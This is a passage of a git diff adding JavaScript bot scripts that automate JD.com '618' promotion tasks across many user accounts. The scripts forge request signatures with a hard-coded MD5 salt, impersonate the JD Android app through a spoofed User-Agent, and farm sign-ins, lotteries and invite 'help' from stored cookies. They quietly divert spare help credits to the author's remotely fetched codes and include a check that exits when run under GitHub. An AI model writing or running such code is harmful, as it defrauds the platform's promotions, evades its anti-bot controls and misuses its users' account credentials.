+// let r = Date.now().toString();
+// let hi = "07035cabb557f096";
+// let o = hi + r;
+// let t = "getDayPrizeStatus";
+// let a = `starId=${$.activeId}&status=${status}&prizeType=${prizeType}&prizeId=${prizeId}`;
+// return new Promise(async (resolve) => {
+// const options = {
+// url: `${JD_API_HOST}/getDayPrizeStatus`,
+// body: `starId=${$.activeId}&status=${status}&prizeType=${prizeType}&prizeId=${prizeId}`,
+// headers: {
+// Accept: "application/json,text/plain, */*",
+// "Content-Type": "application/x-www-form-urlencoded",
+// "Accept-Encoding": "gzip, deflate, br",
+// "Accept-Language": "zh-cn",
+// Connection: "keep-alive",
+// Cookie: cookie,
+// Host: "urvsaggpt.m.jd.com",
+// Referer: "https://urvsaggpt.m.jd.com/static/index.html",
+// sign: za(a, o, t).toString(),
+// timestamp: r,
+// "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36",
+// },
+// };
+// $.post(options, (err, resp, data) => {
+// try {
+// if (err) {
+// console.log(`${JSON.stringify(err)}`);
+// console.log(`${$.name} API请求失败,请检查网路重试`);
+// } else {
+// console.log(`抽奖结果:${data}`);
+// // data = JSON.parse(data);
+// }
+// } catch (e) {
+// $.logErr(e, resp);
+// } finally {
+// resolve();
+// }
+// });
+// });
+// }
+function taskPostUrl(functionId, t, a) {
+ let o = '', r = '';
+ const time = Date.now();
+ // if (t === 'getBrowsePrize') {
+ // o = "07035cabb557f096" + (time + 6 * 1000);
+ // r = (time + 6 * 1000).toString()
+ // } else {
+ // o = "07035cabb557f096" + time;
+ // r = time.toString();
+ // }
+ o = "07035cabb557f096" + time;
+ r = time.toString();
+ // let t = "/khc/task/doQuestion";
+ // let a = "brandId=555555&questionId=2&result=1"
+ return {
+ url: `${JD_API_HOST}/${functionId}`,
+ body: a,
+ headers: {
+ Accept: "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ Connection: "keep-alive",
+ Cookie: cookie,
+ Host: "guardianstarjd.m.jd.com",
+ Referer: "https://guardianstarjd.m.jd.com/",
+ sign: za(a, o, t).toString(),
+ timestamp: r,
+ "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36",
+ }
+ }
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, "", "请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie");
+ return [];
+ }
+ }
+}
+function taskUrl(function_id) {
+ let r = Date.now().toString();
+ let hi = "07035cabb557f096";
+ let o = hi + r;
+ let t = function_id;
+ let a = `t=${r}&starId=${$.activeId}`;
+ return {
+ url: `${JD_API_HOST}/${function_id}?t=${r}&starId=${$.activeId}`,
+ headers: {
+ Accept: "application/json,text/plain, */*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ Connection: "keep-alive",
+ Cookie: cookie,
+ Host: "urvsaggpt.m.jd.com",
+ Referer: "https://guardianstarjd.m.jd.com/",
+ sign: za(a, o, t).toString(),
+ timestamp: r,
+ "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36",
+ },
+ };
+}
+
+// prettier-ignore
+function za(t, e, a) {
+ var n = "",
+ i = a.split("?")[1] || "";
+ if (t) {
+ if ("string" == typeof t) n = t + i;
+ else if ("object" == ka(t)) {
+ var s = [];
+ for (var r in t) s.push(r + "=" + t[r]);
+ n = s.length ? s.join("&") + i : i;
+ }
+ } else n = i;
+ if (n) {
+ var o = n.split("&").sort().join("");
+ return $.md5(o + e);
+ }
+ return $.md5(e);
+}
+
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_zoo.js b/Task/jd_zoo.js
new file mode 100644
index 0000000..7770f42
--- /dev/null
+++ b/Task/jd_zoo.js
@@ -0,0 +1,956 @@
+/*
+618动物联萌
+解密参考自:https://github.com/yangtingxiao/QuantumultX/blob/master/scripts/jd/jd_zoo.js
+活动入口:京东APP-》搜索 玩一玩-》瓜分20亿
+邀请好友助力:内部账号自行互助(排名靠前账号得到的机会多)
+PK互助:内部账号自行互助(排名靠前账号得到的机会多),多余的助力次数会默认助力作者内置助力码
+小程序任务:已完成
+地图任务:已添加,下午2点到5点执行,抽奖已添加(基本都是优惠券)
+金融APP任务:已完成
+活动时间:2021-05-24至2021-06-20
+脚本更新时间:2021-06-08 19:00
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+===================quantumultx================
+[task_local]
+#618动物联萌
+33 0,6-23/2 * * * jd_zoo.js, tag=618动物联萌, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+=====================Loon================
+[Script]
+cron "33 0,6-23/2 * * *" script-path=jd_zoo.js, tag=618动物联萌
+
+====================Surge================
+618动物联萌 = type=cron,cronexp="33 0,6-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_zoo.js
+
+============小火箭=========
+618动物联萌 = type=cron,script-path=jd_zoo.js, cronexpr="33 0,6-23/2 * * *", timeout=3600, enable=true
+ */
+const $ = new Env('618动物联萌');
+const notify = $.isNode() ? require('./sendNotify') : '';
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+const pKHelpFlag = true;//是否PK助力 true 助力,false 不助力
+const pKHelpAuthorFlag = true;//是否助力作者PK true 助力,false 不助力
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [];
+$.cookie = '';
+$.inviteList = [];
+$.pkInviteList = [];
+$.secretpInfo = {};
+$.innerPkInviteList = [];
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [
+ $.getdata("CookieJD"),
+ $.getdata("CookieJD2"),
+ ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item);
+}
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ console.log('活动入口:京东APP-》搜索 玩一玩-》瓜分20亿\n' +
+ '邀请好友助力:内部账号自行互助(排名靠前账号得到的机会多)\n' +
+ 'PK互助:内部账号自行互助(排名靠前账号得到的机会多),多余的助力次数会默认助力作者内置助力码\n' +
+ '小程序任务:已完成\n' +
+ '地图任务:已添加,下午2点到5点执行,抽奖已添加\n' +
+ '金融APP任务:已完成\n' +
+ '活动时间:2021-05-24至2021-06-20\n' +
+ '脚本更新时间:2021-06-08 19:00\n'
+ );
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ $.cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = $.UserName;
+ $.hotFlag = false; //是否火爆
+ await TotalBean();
+ console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`);
+ console.log(`\n如有未完成的任务,请多执行几次\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await zoo();
+ if($.hotFlag)$.secretpInfo[$.UserName] = false;//火爆账号不执行助力
+ }
+ }
+ let res = [], res2 = [], res3 = [];
+ res3 = await getAuthorShareCode('https://raw.githubusercontent.com/gitupdate/updateTeam/master/shareCodes/jd_zoo.json');
+ if (!res3) await getAuthorShareCode('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_zoo.json')
+ if (new Date().getHours()>= 9) {
+ res = await getAuthorShareCode() || [];
+ res2 = await getAuthorShareCode('http://cdn.trueorfalse.top/e528ffae31d5407aac83b8c37a4c86bc/') || [];
+ }
+ // if (new Date().getHours() === 9 || (new Date().getHours() === 10 && new Date().getMinutes() < 20)) {
+ // }
+ if (pKHelpAuthorFlag) {
+ $.innerPkInviteList = getRandomArrayElements([...$.innerPkInviteList, ...res, ...res2, ...res3], [...$.innerPkInviteList, ...res, ...res2, ...res3].length);
+ $.pkInviteList.push(...$.innerPkInviteList);
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ $.cookie = cookiesArr[i];
+ $.canHelp = true;
+ $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ if (!$.secretpInfo[$.UserName]) {
+ continue;
+ }
+ $.secretp = $.secretpInfo[$.UserName];
+ $.index = i + 1;
+ //console.log($.inviteList);
+ //pk助力
+ if (new Date().getHours() >= 9) {
+ console.log(`\n******开始内部京东账号【怪兽大作战pk】助力*********\n`);
+ for (let i = 0; i < $.pkInviteList.length && pKHelpFlag && $.canHelp; i++) {
+ console.log(`${$.UserName} 去助力PK码 ${$.pkInviteList[i]}`);
+ $.pkInviteId = $.pkInviteList[i];
+ await takePostRequest('pkHelp');
+ await $.wait(2000);
+ }
+ $.canHelp = true;
+ }
+ if ($.inviteList && $.inviteList.length) console.log(`\n******开始内部京东账号【邀请好友助力】*********\n`);
+ for (let j = 0; j < $.inviteList.length && $.canHelp; j++) {
+ $.oneInviteInfo = $.inviteList[j];
+ if ($.oneInviteInfo.ues === $.UserName || $.oneInviteInfo.max) {
+ continue;
+ }
+ //console.log($.oneInviteInfo);
+ $.inviteId = $.oneInviteInfo.inviteId;
+ console.log(`${$.UserName}去助力${$.oneInviteInfo.ues},助力码${$.inviteId}`);
+ //await takePostRequest('helpHomeData');
+ await takePostRequest('help');
+ await $.wait(2000);
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+async function zoo() {
+ try {
+ $.signSingle = {};
+ $.homeData = {};
+ $.secretp = ``;
+ $.taskList = [];
+ $.shopSign = ``;
+ await takePostRequest('zoo_signSingle');
+ if (JSON.stringify($.signSingle) === `{}` || $.signSingle.bizCode !== 0) {
+ console.log($.signSingle.bizMsg);
+ return;
+ } else {
+ console.log(`\n获取活动信息`);
+ }
+ await $.wait(1000);
+ await takePostRequest('zoo_getHomeData');
+ $.userInfo =$.homeData.result.homeMainInfo
+ console.log(`\n\n当前分红:${$.userInfo.raiseInfo.redNum}份,当前等级:${$.userInfo.raiseInfo.scoreLevel}\n当前金币${$.userInfo.raiseInfo.remainScore},下一关需要${$.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore}\n\n`);
+ await $.wait(1000);
+ await takePostRequest('zoo_getSignHomeData');
+ await $.wait(1000);
+ if($.signHomeData.todayStatus === 0){
+ console.log(`去签到`);
+ await takePostRequest('zoo_sign');
+ await $.wait(1000);
+ }else{
+ console.log(`已签到`);
+ }
+ let raiseInfo = $.homeData.result.homeMainInfo.raiseInfo;
+ if (Number(raiseInfo.totalScore) > Number(raiseInfo.nextLevelScore) && raiseInfo.buttonStatus === 1) {
+ console.log(`满足升级条件,去升级`);
+ await $.wait(3000);
+ await takePostRequest('zoo_raise');
+ }
+ //收金币
+ await $.wait(1000);
+ await takePostRequest('zoo_collectProduceScore');
+ await $.wait(1000);
+ await takePostRequest('zoo_getTaskDetail');
+ await $.wait(1000);
+ //做任务
+ for (let i = 0; i < $.taskList.length && $.secretp && !$.hotFlag; i++) {
+ $.oneTask = $.taskList[i];
+ if ([1, 3, 5, 7, 9, 26].includes($.oneTask.taskType) && $.oneTask.status === 1) {
+ $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.browseShopVo;
+ for (let j = 0; j < $.activityInfoList.length; j++) {
+ $.oneActivityInfo = $.activityInfoList[j];
+ if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) {
+ continue;
+ }
+ $.callbackInfo = {};
+ console.log(`做任务:${$.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`);
+ await takePostRequest('zoo_collectScore');
+ if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) {
+ await $.wait(8000);
+ let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`)
+ await callbackResult(sendInfo)
+ } else if ($.oneTask.taskType === 5 || $.oneTask.taskType === 3 || $.oneTask.taskType === 26) {
+ await $.wait(2000);
+ console.log(`任务完成`);
+ } else {
+ console.log($.callbackInfo);
+ console.log(`任务失败`);
+ await $.wait(3000);
+ }
+ }
+ } else if ($.oneTask.taskType === 2 && $.oneTask.status === 1 && $.oneTask.scoreRuleVos[0].scoreRuleType === 2){
+ console.log(`做任务:${$.oneTask.taskName};等待完成 (实际不会添加到购物车)`);
+ $.taskId = $.oneTask.taskId;
+ $.feedDetailInfo = {};
+ await takePostRequest('zoo_getFeedDetail');
+ let productList = $.feedDetailInfo.productInfoVos;
+ let needTime = Number($.feedDetailInfo.maxTimes) - Number($.feedDetailInfo.times);
+ for (let j = 0; j < productList.length && needTime > 0; j++) {
+ if(productList[j].status !== 1){
+ continue;
+ }
+ $.taskToken = productList[j].taskToken;
+ console.log(`加购:${productList[j].skuName}`);
+ await takePostRequest('add_car');
+ await $.wait(1500);
+ needTime --;
+ }
+ }else if ($.oneTask.taskType === 2 && $.oneTask.status === 1 && $.oneTask.scoreRuleVos[0].scoreRuleType === 0){
+ $.activityInfoList = $.oneTask.productInfoVos ;
+ for (let j = 0; j < $.activityInfoList.length; j++) {
+ $.oneActivityInfo = $.activityInfoList[j];
+ if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) {
+ continue;
+ }
+ $.callbackInfo = {};
+ console.log(`做任务:浏览${$.oneActivityInfo.skuName};等待完成`);
+ await takePostRequest('zoo_collectScore');
+ if ($.oneTask.taskType === 2) {
+ await $.wait(2000);
+ console.log(`任务完成`);
+ } else {
+ console.log($.callbackInfo);
+ console.log(`任务失败`);
+ await $.wait(3000);
+ }
+ }
+ }
+ }
+ await $.wait(1000);
+ await takePostRequest('zoo_getHomeData');
+ raiseInfo = $.homeData.result.homeMainInfo.raiseInfo;
+ if (Number(raiseInfo.totalScore) > Number(raiseInfo.nextLevelScore) && raiseInfo.buttonStatus === 1) {
+ console.log(`满足升级条件,去升级`);
+ await $.wait(1000);
+ await takePostRequest('zoo_raise');
+ }
+ //===================================图鉴里的店铺====================================================================
+ if (new Date().getHours()>= 17 && new Date().getHours()<= 18 && !$.hotFlag) {//分享
+ $.myMapList = [];
+ await takePostRequest('zoo_myMap');
+ for (let i = 0; i < $.myMapList.length; i++) {
+ await $.wait(3000);
+ $.currentScence = i + 1;
+ if ($.myMapList[i].isFirstShare === 1) {
+ console.log(`去分享${$.myMapList[i].partyName}`);
+ await takePostRequest('zoo_getWelfareScore');
+ }
+ }
+ }
+ if (new Date().getHours() >= 14 && new Date().getHours() <= 17 && !$.hotFlag){//30个店铺,为了避免代码执行太久,下午2点到5点才做店铺任务
+ console.log(`去做店铺任务`);
+ $.shopInfoList = [];
+ await takePostRequest('qryCompositeMaterials');
+ for (let i = 0; i < $.shopInfoList.length; i++) {
+ $.shopSign = $.shopInfoList[i].extension.shopId;
+ console.log(`执行第${i+1}个店铺任务:${$.shopInfoList[i].name} ID:${$.shopSign}`);
+ $.shopResult = {};
+ await takePostRequest('zoo_shopLotteryInfo');
+ await $.wait(1000);
+ if(JSON.stringify($.shopResult) === `{}`) continue;
+ $.shopTask = $.shopResult.taskVos;
+ for (let i = 0; i < $.shopTask.length; i++) {
+ $.oneTask = $.shopTask[i];
+ //console.log($.oneTask);
+ if($.oneTask.taskType === 21 || $.oneTask.taskType === 14 || $.oneTask.status !== 1){continue;} //不做入会//不做邀请
+ $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.simpleRecordInfoVo;
+ if($.oneTask.taskType === 12){//签到
+ if($.shopResult.dayFirst === 0){
+ $.oneActivityInfo = $.activityInfoList;
+ console.log(`店铺签到`);
+ await takePostRequest('zoo_bdCollectScore');
+ }
+ continue;
+ }
+ for (let j = 0; j < $.activityInfoList.length; j++) {
+ $.oneActivityInfo = $.activityInfoList[j];
+ if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) {
+ continue;
+ }
+ $.callbackInfo = {};
+ console.log(`做任务:${$.oneActivityInfo.subtitle || $.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`);
+ await takePostRequest('zoo_collectScore');
+ if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) {
+ await $.wait(8000);
+ let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`)
+ await callbackResult(sendInfo)
+ } else {
+ await $.wait(2000);
+ console.log(`任务完成`);
+ }
+ }
+ }
+ await $.wait(1000);
+ let boxLotteryNum = $.shopResult.boxLotteryNum;
+ for (let j = 0; j < boxLotteryNum; j++) {
+ console.log(`开始第${j+1}次拆盒`)
+ //抽奖
+ await takePostRequest('zoo_boxShopLottery');
+ await $.wait(3000);
+ }
+ // let wishLotteryNum = $.shopResult.wishLotteryNum;
+ // for (let j = 0; j < wishLotteryNum; j++) {
+ // console.log(`开始第${j+1}次能量抽奖`)
+ // //抽奖
+ // await takePostRequest('zoo_wishShopLottery');
+ // await $.wait(3000);
+ // }
+ await $.wait(3000);
+ }
+ }
+ //==================================微信任务========================================================================
+ $.wxTaskList = [];
+ if(!$.hotFlag) await takePostRequest('wxTaskDetail');
+ for (let i = 0; i < $.wxTaskList.length; i++) {
+ $.oneTask = $.wxTaskList[i];
+ if($.oneTask.taskType === 2 || $.oneTask.status !== 1){continue;} //不做加购
+ $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.browseShopVo;
+ for (let j = 0; j < $.activityInfoList.length; j++) {
+ $.oneActivityInfo = $.activityInfoList[j];
+ if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) {
+ continue;
+ }
+ $.callbackInfo = {};
+ console.log(`做任务:${$.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`);
+ await takePostRequest('zoo_collectScore');
